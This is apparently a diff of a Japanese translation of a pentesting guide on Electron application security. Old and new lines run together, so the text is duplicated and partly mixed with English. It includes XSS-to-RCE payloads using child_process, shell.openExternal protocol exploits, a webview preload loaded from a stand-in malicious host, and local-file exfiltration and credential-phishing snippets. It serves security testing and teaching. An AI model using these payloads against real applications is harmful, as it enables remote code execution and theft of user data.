WebDavが**有効**であってルートフォルダにファイルを**アップロード**する十分な権限がない場合は、次を試してください: If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
- 資格情報を**Brute Force** - **Brute Force** credentials
- Webページ内の見つかった他のフォルダにWebDav経由で**ファイルをアップロード**する。別のフォルダにはアップロード権限があるかもしれません - WebDav を使って、Web ページ内で見つかった他のフォルダにファイルをアップロードする。別のフォルダにはアップロード権限がある場合がある
### **SSL/TLS の脆弱性** ### **SSL/TLS vulnerabilites**
- アプリケーションがどの部分でも**HTTPSの利用を強制していない**場合、**MitMに対して脆弱**です - アプリケーションがどの部分でも**HTTPS の使用を強制していない**場合、**MitM に対して脆弱**である
- アプリケーションが**HTTPで機密データ(パスワード)を送信している**場合、重大な脆弱性です。 - アプリケーションが**HTTP で機密データ(パスワード等)を送信している**場合、それは重大な脆弱性である
[**testssl.sh**](https://github.com/drwetter/testssl.sh) を使って**脆弱性**をチェックしBug Bountyプログラムではおそらくこの種の脆弱性は受け入れられません、[**a2sv** ](https://github.com/hahwul/a2sv)to で脆弱性を再確認してください: Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash ```bash
./testssl.sh [--htmlfile] 10.10.10.10:443 ./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also #Use the --htmlfile to save the output inside an htmlfile also

View File

@ -4,14 +4,14 @@
## はじめに ## はじめに
Electron はローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザが備えるいくつかのセキュリティ機構を欠いています。 Electron はローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、モダンなブラウザが持ついくつかのセキュリティ機構が欠けています。
通常、Electron アプリのコードは `.asar` アーカイブの中にあることが多く、コードを取得するには抽出する必要があります: 通常、electron アプリのコードは `.asar` に入っていることが多く、コードを取得するにはそれを抽出する必要があります:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
Electronアプリのソースコードでは、`packet.json`内にセキュリティ設定が行われている`main.js`ファイルが指定されているのを見つけることができます。 Electronアプリのソースコード内では、`packet.json` に、セキュリティ設定が記述されている `main.js` ファイルの指定が見つかります。
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
@ -19,12 +19,12 @@ Electronアプリのソースコードでは、`packet.json`内にセキュリ
``` ```
Electronには2つのプロセスタイプがあります: Electronには2つのプロセスタイプがあります:
- Main Process (NodeJSへの完全なアクセス権を持つ) - メインプロセス (NodeJSへ完全にアクセス可能)
- Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき) - レンダラープロセス (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
A **renderer process** は、ファイルを読み込むブラウザウィンドウになります: **レンダラープロセス**はファイルを読み込むブラウザウィンドウになります:
```javascript ```javascript
const { BrowserWindow } = require("electron") const { BrowserWindow } = require("electron")
let win = new BrowserWindow() let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
**レンダラープロセス**の設定は、main.js ファイル内の**メインプロセス**で**構成**できます。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ**などの脆弱性を防げるもので、**設定が正しく構成されている**場合に有効です。 **renderer process** の設定は main.js ファイル内の **main process****構成できます**。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ** などの効果があり、**設定が正しく構成されている場合** に有効になります。
Electron アプリケーションは Node APIs を介して**デバイスにアクセスできる**可能性がありますが、それを防ぐように構成できます: Electron アプリケーションは Node apis 経由で **デバイスにアクセスできる** 可能性がありますが、これを防ぐように設定できます:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process. - **`nodeIntegration`** - デフォルトでは `off` です。`on` の場合、renderer process から Node の機能にアクセスできるようになります。
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated. - **`contextIsolation`** - デフォルトでは `on` です。`off` の場合、main と renderer processes の分離がなくなります。
- **`preload`** - empty by default. - **`preload`** - デフォルトでは空です。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトでは `off` です。NodeJS が実行できる操作を制限します。
- Node Integration in Workers - Workers 内での Node Integration
- **`nodeIntegrationInSubframes`**- is `off` by default. - **`nodeIntegrationInSubframes`** - デフォルトでは `off` です。
- If **`nodeIntegration`** is **有効**, this would allow the use of **Node.js APIs** in web pages that are **iframe に読み込まれた** within an Electron application. - If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **無効**, then preloads will load in the iframe - If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
Example of configuration: Example of configuration:
```javascript ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からのいくつかの **RCE payloads**: 以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**:
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### トラフィックをキャプチャ ### トラフィックをキャプチャ
start-main の設定を変更し、次のような proxy の使用を追加します: start-main の設定を変更し、例えば次のような proxy を使用するように追加します:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Electron Local Code Injection ## Electron Local Code Injection
もしローカルで Electron App を実行できるなら、任意の javascript コードを実行させることが可能な場合があります。詳しくは次を確認してください: Electron Appをローカルで実行できる場合、任意のjavascriptコードを実行させることが可能です。方法は以下を参照してください:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +111,7 @@ start-main の設定を変更し、次のような proxy の使用を追加し
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: もし**nodeIntegration**が**on**に設定されていると、ウェブページのJavaScriptは`require()`を呼ぶだけで簡単にNode.jsの機能を利用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
この設定で指定されたスクリプトは l**renderer内の他のスクリプトよりも先に読み込まれます**、そのため **Node APIs への無制限のアクセス** を持ちます: この設定で指定されたスクリプトは**renderer内の他のスクリプトよりも先に読み込まれる**ため、**Node APIs**への無制限のアクセス権を持ちます:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
} }
}); });
``` ```
したがって、このスクリプトは node-features を pages にエクスポートできます: したがって、このスクリプトは node-features をページにエクスポートできます:
```javascript:preload.js ```javascript:preload.js
typeof require === "function" typeof require === "function"
window.runCalc = function () { window.runCalc = function () {
@ -148,20 +148,20 @@ runCalc()
</script> </script>
</body> </body>
``` ```
> [!NOTE] > **もし `contextIsolation` が有効になっている場合、これは動作しません** > [!NOTE] > **`contextIsolation` が有効な場合、これは動作しません**
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
_**contextIsolation**_ は、web ページのスクリプトと JavaScript の Electron 内部コードの間に **分離されたコンテキスト** を導入し、それぞれの JavaScript 実行が互いに影響を与えないようにします。これは RCE の可能性を排除するために必要な機能です。 _**contextIsolation**_ は、ウェブページのスクリプトと JavaScript/Electron の内部コードの間に **分離されたコンテキスト** を導入し、それぞれの JavaScript 実行が互いに影響しないようにします。これは RCE の可能性を排除するための必要な機能です。
もしコンテキストが分離されていないと、攻撃者は次のことが可能になります: コンテキストが分離されていない場合、攻撃者は以下を行うことができます:
1. レンダラー内で **arbitrary JavaScript in renderer** を実行するXSS または外部サイトへの遷移 1. レンダラー内で**任意の JavaScript を実行する**XSS または外部サイトへのナビゲーション
2. preload や Electron 内部コードで使用される **built-in method を上書き** して自分の関数にする 2. **組み込みメソッドを上書きする**preload または Electron 内部コードで使用されるものを独自の関数にする)
3. **Trigger** して **overwritten function** の使用を呼び出す 3. **上書きされた関数の使用をトリガーする**
4. RCE? 4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: 組み込みメソッドが上書きされ得る場所は2つあります: preload コード内、または Electron の内部コード内:
{{#ref}} {{#ref}}
@ -178,36 +178,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md electron-contextisolation-rce-via-ipc.md
{{#endref}} {{#endref}}
### Bypass click event ### クリックイベントをバイパス
リンクをクリックしたときに制限がある場合、通常の left click の代わりに **doing a middle click** を行うことでそれらを回避できることがあります リンクをクリックした際に制限がある場合、通常の左クリックの代わりに**中クリック(ミドルクリック)を行う**ことでそれらを回避できることがあります
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## RCE via shell.openExternal ## RCE via shell.openExternal
この例の詳細は [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。 For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Electron デスクトップアプリケーションを展開する際は、`nodeIntegration``contextIsolation` の設定を正しく行うことが重要です。これらの設定により、main process から preload scripts や Electron のネイティブコードを標的とする **client-side remote code execution (RCE)** が実質的に防止されることが確認されています。 Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration``contextIsolation` の適切な設定を行うことは非常に重要です。これらの設定により、main process から preload scripts や Electron's native code を標的とした **client-side remote code execution (RCE)** は効果的に防がれることが確認されています。
ユーザーがリンクをクリックしたり新しいウィンドウを開いたりすると、アプリのセキュリティと機能にとって重要な特定のイベントリスナーがトリガーされます: ユーザーがリンクをクリックしたり新しいウィンドウを開いたりすると、アプリケーションのセキュリティと機能にとって重要な特定の event listeners がトリガーされます:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
これらのリスナーは、デスクトップアプリケーションによって**上書きされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、遷移したリンクを内部で開くべきか外部のウェブブラウザで開くべきかを判断します。この判断は通常 `openInternally` 関数で行われます。もしこの関数が `false` を返すと、リンクは外部で開くべきであることを示し、`shell.openExternal` 関数を使用します。 These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function.
**以下は簡略化した擬似コードです:** **Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS のセキュリティベストプラクティスは、`openExternal` 関数で信頼できないコンテンツを受け入れるべきではないと助言しています。さもないと、さまざまなプロトコルを介して RCE を引き起こす可能性があります。オペレーティングシステムは RCE を引き起こし得るさまざまなプロトコルをサポートしています。このトピックの詳細な例や説明については、[this resource](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。ここにはこの脆弱性を悪用できる Windows プロトコルの例が含まれています。 Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
macos では、`openExternal` 関数を悪用して `shell.openExternal('file:///System/Applications/Calculator.app')` のように任意のコマンドを実行させることができます。 In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Windows プロトコルの悪用例には以下が含まれます:** **Examples of Windows protocol exploits include:**
```html ```html
<script> <script>
window.open( window.open(
@ -229,15 +229,15 @@ window.open(
``` ```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
この vuln は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** にあります。 この vuln は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** に記載されています。
The **webviewTag** **deprecated feature** で、**renderer process** 内で **NodeJS** の使用を許可します。無効化すべきで、preload コンテキスト内にスクリプトを読み込めるため、次のようになります: The **webviewTag** is a **非推奨の機能** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
したがって、任意のページを読み込める攻撃者は、そのタグを使って**任意の preload script を読み込む**ことができます。 したがって、任意のページを読み込ませることに成功した攻撃者は、そのタグを利用して **任意のプリロードスクリプトを読み込む** ことができます。
この preload script は悪用され、**vulnerable IPC service (`skype-new-window`)** を呼び出し、それが **`shell.openExternal`** を呼び出して RCE を引き起こしていました: このプリロードスクリプトは悪用され、**脆弱な IPC サービス (`skype-new-window`)** を呼び出しました。そのサービスは **`shell.openExternal`** を呼び出して RCE を引き起こしていました:
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -250,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
``` ```
## 内部ファイルの読み取り: XSS + contextIsolation ## 内部ファイルの読み取り: XSS + contextIsolation
**`contextIsolation`を無効にすると、`<webview>`タグ(`<iframe>`に類似を使用してローカルファイルの読み取りおよびデータのexfiltrateが可能になります。** 以下の例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています: **Disabling `contextIsolation` enables the use of `<webview>` tags**, `<iframe>`と同様に、ローカルファイルの読み取りおよび exfiltrating に使用できます。例として、この脆弱性を exploit して内部ファイルの内容を読み取る方法が示されています:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
さらに、**内部ファイルの読み取り**の別の方法が共有されており、Electronデスクトップアプリにおける深刻なローカルファイル読み取り脆弱性が強調されています。これは、アプリケーションを悪用するためにスクリプトを注入し、データをexfiltrateする手法を伴います: さらに、別の方法として**内部ファイルの読み取り**が共有されており、Electronデスクトップアプリの重大なローカルファイル読み取り vulnerability を強調しています。これは、スクリプトを inject してアプリケーションを exploit し、データを exfiltrate することを含みます:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -270,16 +270,16 @@ frames[0].document.body.innerText
</script> </script>
</h1> </h1>
``` ```
## **RCE: XSS + Old Chromium** ## **RCE: XSS + 古い Chromium**
アプリケーションで使用されている **chromium****old** で、既知の **vulnerabilities** が存在する場合、それを悪用して **RCE****XSS** 経由で取得できる可能性があります。\ もしアプリケーションで使用されている **chromium****古い** かつ既知の **vulnerabilities** がある場合、**それを exploit して XSS を通じて RCE を取得する** ことが可能な場合があります。\
例はこの **writeup** で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) 例はこの **writeup** で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass** ## **XSS Phishing via Internal URL regex bypass**
XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、**phishing を使って認証情報を盗む**ことを試みることができます。 XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、これを使って **phishing によって認証情報を盗む** ことを試すことができます。
まず、新しい URL を開こうとしたときに何が起きるかを、フロントエンドの JS コードを確認して把握する必要があります: まず、新しい URL を開こうとしたときに何が起きるかを把握する必要があります。front-end の JS コードを確認してください:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
@ -287,32 +287,28 @@ webContents.on("will-navigate", function (event, url) {} // o
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**. The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user: In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
**`openInternally`** の呼び出しは、その **リンク** がプラットフォームに属するものとして **デスクトップウィンドウ****開かれる** のか、**または** **ブラウザ(サードパーティのリソースとして)****開かれる** のかを決定します。
関数で使用される **regex****vulnerable to bypasses**(例えば **サブドメインのドットをエスケープしていない** 場合)の場合、攻撃者は XSS を悪用して **新しいウィンドウを開く**(攻撃者のインフラ上に配置され)、ユーザに **認証情報を要求する** ように仕向けることができます:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## `file://` プロトコル ## `file://` Protocol
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** はマシン上のすべてのファイルに一方的にアクセスできるため、**XSS を悪用してユーザーのマシンから任意のファイルを読み込む**ことが可能です。**カスタムプロトコル**を使用すると、提供するファイルを特定のセットに限定できるため、このような問題を防げます。 [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) にあるように、**`file://`** で実行されるページはマシン上のすべてのファイルに一方的にアクセスできるため、**XSS の脆弱性を利用してユーザーのマシンから任意のファイルを読み込むことができる**。**custom protocol** を使うことでプロトコルを特定のファイル群の配信に限定できるため、このような問題を防げます。
## Remote module ## Remote module
Electron の Remote モジュールは、レンダラープロセスがメインプロセスの API にアクセスできるようにし、Electron アプリ内の通信を容易にします。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。攻撃対象領域が拡大し、XSS のような脆弱性に対してより脆弱になります。 Electron の Remote モジュールは、レンダラープロセスがメインプロセスの API にアクセスできるようにし、Electron アプリ内の通信を容易にします。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。攻撃対象が拡大し、XSS のような脆弱性に対してより脆弱になります。
> [!TIP] > [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information. > **remote** モジュールは main から renderer プロセスへいくつかの API を公開しますが、コンポーネントを悪用しただけで RCE を得るのは必ずしも容易ではありません。ただし、コンポーネントが機密情報を露出する可能性はあります。
> [!WARNING] > [!WARNING]
> 多くのアプリがまだ remote モジュールを使っていますが、それを行う多くはレンダラープロセスで **require NodeIntegration to be enabled** という方法を取っており、これは **重大なセキュリティリスク** です。 > まだ remote モジュールを使用している多くのアプリは、レンダラープロセスで **NodeIntegration を有効にする必要がある** 方法で使用しており、これは **重大なセキュリティリスク** です。
Electron 14 以降、`remote` モジュールは複数の手順で有効化される場合がありますが、セキュリティおよびパフォーマンス上の理由から **使用しないことが推奨されています**。 Electron 14 以降、`remote` モジュールは複数の手順で有効化される場合がありますが、セキュリティおよびパフォーマンスの観点から **使用しないことが推奨されます**。
有効にするには、まずメインプロセスで**それを有効にする**必要があります: 有効にするには、まず **メインプロセスで有効化する** 必要があります:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -323,28 +319,28 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
すると、レンダラープロセスはモジュールからオブジェクトを次のようにインポートできます: その後、renderer process はモジュールからオブジェクトをインポートできます:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は remote モジュールのオブジェクト **`app`** によって公開されているいくつかの興味深い **関数** を示しています: その **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、remoteモジュールのオブジェクト **`app`** が公開するいくつかの興味深い **functions** を示しています:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- **再起動**: 現在のインスタンスを **終了** して新しいインスタンスを **起動** することでアプリケーションを再起動します。**アプリの更新**や重大な**状態変化**の際に有用です。 - 現在のインスタンスを**終了**して新しいインスタンスを**起動**することでアプリケーションを**再起動**します。**アプリの更新**や大きな**状態変化**に便利です。
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **定義/作成**: **アプリのログ** を格納するディレクトリを定義または作成します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使用して **取得** または **変更** できます。 - **appログ**を格納するためのディレクトリを**定義**または**作成**します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使って**取得**または**変更**できます。
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **登録**: 指定した **protocol** の既定ハンドラとして現在の実行ファイルを登録します。必要に応じて **カスタムパス****引数** を指定できます。 - 指定した**protocol**の**デフォルトハンドラ**として現在の実行ファイルを**登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **追加**: Windows の **Jump List****Tasks category** にタスクを追加します。各タスクはアプリの **起動方法** や渡される **引数** を制御できます。 - **Windows の Jump List の Tasks カテゴリに**タスクを**追加**します。各タスクはアプリの**起動方法**や渡される**引数**を制御できます。
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- **インポート**: システムの証明書ストアに **PKCS#12 証明書** をインポートしますLinux のみ)。結果を処理するために **callback** を使用できます。 - システムの**証明書ストア**に **PKCS#12 certificate** を**インポート**しますLinux のみ)。結果を処理するために **callback** を使用できます。
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- **移動**: アプリケーションを **Applications フォルダ** に移動しますmacOS。Mac ユーザ向けの標準的なインストールを確保するのに役立ちます。 - アプリケーションを macOS の **Applications folder** に**移動**します。Mac ユーザーに対して**標準的なインストール**を確保するのに役立ちます。
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **設定/削除**: Windows でカスタム **Jump List** を設定または削除します。タスクの表示方法を整理するために **categories** を指定できます。 - **Windows** **カスタム Jump List** を**設定**または**削除**します。タスクの表示方法を整理するために **categories** を指定できます。
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **構成**: ログイン時に起動する **実行可能ファイル** とその **オプション** を設定しますmacOS と Windows のみ)。 - どの**実行ファイル**が**ログイン**時に起動するかとその**オプション**を**設定**しますmacOS および Windows のみ)。
Example: Example:
```javascript ```javascript
@ -353,7 +349,7 @@ Native.app.exit()
``` ```
## systemPreferences モジュール ## systemPreferences モジュール
Electronにおけるシステム設定へのアクセスと**システムイベントの発行**のための**主要な API**です。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および**setUserDefault** のようなメソッドはすべて**このモジュールの一部**です。 Electronでシステム環境設定にアクセスし、システムイベントを発行するための**主要なAPI**です。**subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault** といったメソッドはすべてこのモジュールの**一部**です。
**使用例:** **使用例:**
```javascript ```javascript
@ -370,31 +366,41 @@ console.log('Recent Places:', recentPlaces);
``` ```
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **監視**: NSDistributedNotificationCenter を使用して **ネイティブ macOS 通知** を受信します。 * **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
* **macOS Catalina** より前は、CFNotificationCenterAddObserver に **nil** を渡すことで **すべて** の distributed notifications を傍受できました。 -> **NSDistributedNotificationCenter** を使用してネイティブな macOS 通知を受信します。
* **Catalina / Big Sur** 以降、サンドボックス化されたアプリは通知を名前で登録することで、たとえば **画面のロック/アンロック**、**ボリュームのマウント**、**ネットワーク活動** などの **多くのイベント** を引き続き **購読** できます。 * Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
-> **macOS Catalina** より前は、CFNotificationCenterAddObserver に **nil** を渡すことで配布された通知を **すべて** 傍受できました。
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
-> **Catalina / Big Sur** 以降でも、サンドボックス化されたアプリは通知を **名前で登録** することで(例:**画面のロック/アンロック**、**ボリュームのマウント**、**ネットワークの活動** など)多くのイベントに **subscribe** できます。
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* **NSUserDefaults****連携** し、macOS 上の **アプリケーション** または **グローバル** 設定を保存します。 * **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
-> **NSUserDefaults** とインターフェースし、macOS 上の **アプリケーション** または **グローバル** な設定を保存します。
* **getUserDefault****最近のファイルの場所****ユーザーの地理的位置** といった **機密情報****取得** できます。 * **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **users geographic location**.
-> **getUserDefault****最近のファイルの場所****ユーザーの地理的な位置情報** などの機密情報を **取得** できる場合があります。
* **setUserDefault** はこれらの設定を **変更** し、アプリの **構成** に影響を与える可能性があります。 * **setUserDefault** can **modify** these preferences, potentially affecting an apps **configuration**.
-> **setUserDefault** はこれらの設定を **変更** でき、アプリの **構成** に影響を与える可能性があります。
* **古い Electron バージョン**v8.3.0 より前では、NSUserDefaults の **standard suite** のみが **アクセス可能** でした。 * In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
-> **古い Electron バージョン**v8.3.0 より前では、NSUserDefaults の **standard suite** のみが **アクセス可能** でした。
## Shell.showItemInFolder ## Shell.showItemInFolder
この関数はファイルマネージャで指定されたファイルを表示します。ファイルマネージャによっては自動的にファイルを実行してしまう可能性があります。 This function whows the given file in a file manager, which **could automatically execute the file**.
-> この関数は指定されたファイルをファイルマネージャで表示します。ファイルマネージャがファイルを自動的に実行する可能性があります(**could automatically execute the file**)。
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## コンテンツセキュリティポリシー ## Content Security Policy
Electron アプリには **コンテンツセキュリティポリシー (CSP)** を設定し、**XSS 攻撃を防止** する必要があります。**CSP** はブラウザ内で **信頼されていないコード****実行****防ぐ** のに役立つ **セキュリティ標準** です。 Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
-> Electron アプリは **Content Security Policy (CSP)** を持つべきで、**XSS 攻撃を防ぐ** ためのものです。**CSP** はブラウザ内で **信頼できないコードの実行****防止** するための **セキュリティ標準** です。
通常は **`main.js`** ファイルや **`index.html`** テンプレート内の **meta tag** に CSP を **設定** します。 It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
-> 通常、CSP は **`main.js`** ファイルや **`index.html`** テンプレート内の **meta tag** に設定されます。
For more information check: For more information check:
@ -404,18 +410,24 @@ pentesting-web/content-security-policy-csp-bypass/
